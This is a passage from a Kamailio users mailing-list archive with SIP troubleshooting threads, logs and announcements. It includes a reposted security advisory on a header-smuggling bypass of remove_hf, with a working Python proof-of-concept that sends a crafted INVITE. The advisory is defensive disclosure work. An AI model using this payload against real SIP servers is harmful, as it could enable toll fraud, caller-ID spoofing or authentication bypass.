Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f7765419b50 r: 0x7f7765419c78 (-1) Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f776544c978 r: 0x7f776544caa0 (-1)

1 0

Calling a user registered on a different kamailio
by Joey Golan 24 Sep '20

24 Sep '20

Hello, I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling. UE1 is registered to kamailio1 UE2 is registered to kamailio2 DMQ and dmq_usrloc are enabled so each kamailio can see all registered users. What else do I need to do in order to make it work properly? Thanks, Joey.

2 3

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

Kambdctl create command
by Pavithra Mohanraja 22 Sep '20

22 Sep '20

Hi, I need to use kambdctl create command but that has to create database in another vm where mysql is alone installed. How to do that? Thanks, Pavithra

2 1

Kamailio Slack Invite
by Peter Baines 22 Sep '20

22 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Info: recordings of Kamailio World 2020 sessions
by Daniel-Constantin Mierla 22 Sep '20

22 Sep '20

Hello, for those that couldn't attend the Kamailio World 2020 online event that happened a few weeks ago, or someone wants to view again a session, the recordings of the two days were split per session -- they are available on KamailioWorld youtube channel: * https://www.youtube.com/c/KamailioWorld/ For convenience, they were also grouped in a playlist for KW2020, see: * https://www.youtube.com/c/KamailioWorld/playlists No other editing than just cutting at start/stop of each session. Slides should be available at: * http://kamailio.org/events/2020-KamailioWorldOnline/ Enjoy! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Error on ACK/BYE After 200
by Neimar 21 Sep '20

21 Sep '20

Hello, I am trying to set up a Webrtc by using Kamailio, Asterisk and Rtpengine. So far, everything is working fine , I'm able to register an extension and make a call, but for some reason, when i'm trying to call a WebRTC extension from any SIP Extension from Asterisk, Kamailio is sending INVITE, WebRTC extension is sending back 200 OK, and then Kamailio is trying to send an ACK through UDP protocol, and not through wss, as it's supposed to do. In console, I see: Sep 21 20:39:06 vsphone3-sbc /usr/sbin/kamailio[9756]: WARNING: {1 102 ACK 332ee81b4eb178ac156e8d3e53a98900@172.16.11.6:5060} <core> [core/forward.c:231]: get_send_socket2(): protocol/port mismatch (forced tls:172.16.11.57:8443, to udp:187.20.56.83:27730) My scenario is: Internet -> Firewall -> Kamailio -> Asterisk Working: Softphone -> Kamailio -> Asterisk (TCP/UDP/TLS(SRTP) Asterisk -> Kamailio -> Softphone (TCP/UDP/TLS(SRTP)) Webrtc -> Kamailio -> Asterisk (WSS) Not Working: Asterisk -> Kamailio -> Webrtc After a answer from Webrtc, I can listen sound, so, RTP in theory is fine. Webrtc send 200 OK to Kamailio Kamailio Send 200 OK to Asterisk. Asterisk Send ACK to Kamailio ACK not forwarded to Webrtc. In attachment, my kamailio.cfg Every Help is welcome. Thanks Neimar.

1 0

Kamailio uses Python
by Pavithra Mohanraja 21 Sep '20

21 Sep '20

Hi, I am building kamailio as an docker image by installing kamailio using "apt-get install kamailio" in ubuntu 18.04, which installs python by default which makes my image size bigger. Does kamailio uses Python?. else what could be the alternative? Does anybody came across this situation. Kindly advise. Thanks, Pavithra

2 3

Kamailio IF Routes
by conradcordeiro＠gmail.com 21 Sep '20

21 Sep '20

Hello, Is it possible to set up Kamailio 5.4.1 to use IF to determine how calls are proxied depending on the source of the request? For example, *_if_* calls originate from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, wheres _*if*_ calls originate from /pstn.us2.twilio.com/ then _/$du = "sip01.example.com:5060"/_. Additionally, would this also be possible based on numbers? For example, _*if*_ calls are to number +1-800-777-8888 then /$du = "sip01.example.com:5060"/, or if calls are to number +1-800-777-9999 then /$du = "sip02.example.com:5060"/. To be clear, I don't expect both examples above to work in the same Kamailio instance but IF and AND clauses are possible, such as _*if*_ calls are to number +1-800-777-8888 AND from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, it'd be great to test this too. I'm not sure if I'm allowed to ask such specific questions on this mailing list and I hope I'm not asking too much. Many thanks, Conrad

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